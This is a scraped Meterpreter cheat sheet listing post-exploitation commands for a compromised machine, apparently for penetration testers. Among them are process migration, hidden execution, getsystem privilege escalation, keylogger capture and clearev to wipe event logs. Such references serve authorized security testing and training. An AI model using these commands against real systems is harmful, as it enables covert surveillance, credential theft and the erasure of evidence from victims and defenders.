General
background
Put the meterpreter session in backgroundsession $SESSION_ID
Come back to a meterpreter sessionMachine Info
System
sysinfo
System informationNetwork
ifconfig
Network informationProcesses
ps
List running processesgetpid $PROCESS_NAME
Get the process ID of a running processmigrate $PID
Migrate to a process using its process IDFiles
Navigation
search -f $FILE_NAME
Search for a fileFile content
cat
Print content of fileedit
Open a text editorDownload/Upload
download
Download a file (replace single slashes with double slashes)Execution
execute -f $PROGRAM_TO_EXECUTE -i -H
Execute a file (-i for interactive, -H for hidden)run $METASPLOIT_SCRIPT
Run a metasploit scriptExploitation
Windows
getsystem
Automatically try to privescrun post/windows/gather/enum_applications
Enum applications installed on the machinerun post/windows/manage/migrate
Automatically launch and migrate to notepad.exeMulti
keyscan_start
Start the keyloggerkeyscan_dump
Dump the content of the keyloggerkeyscan_stop
Stop the keyloggerclearev
Clear the event logs (needs admin)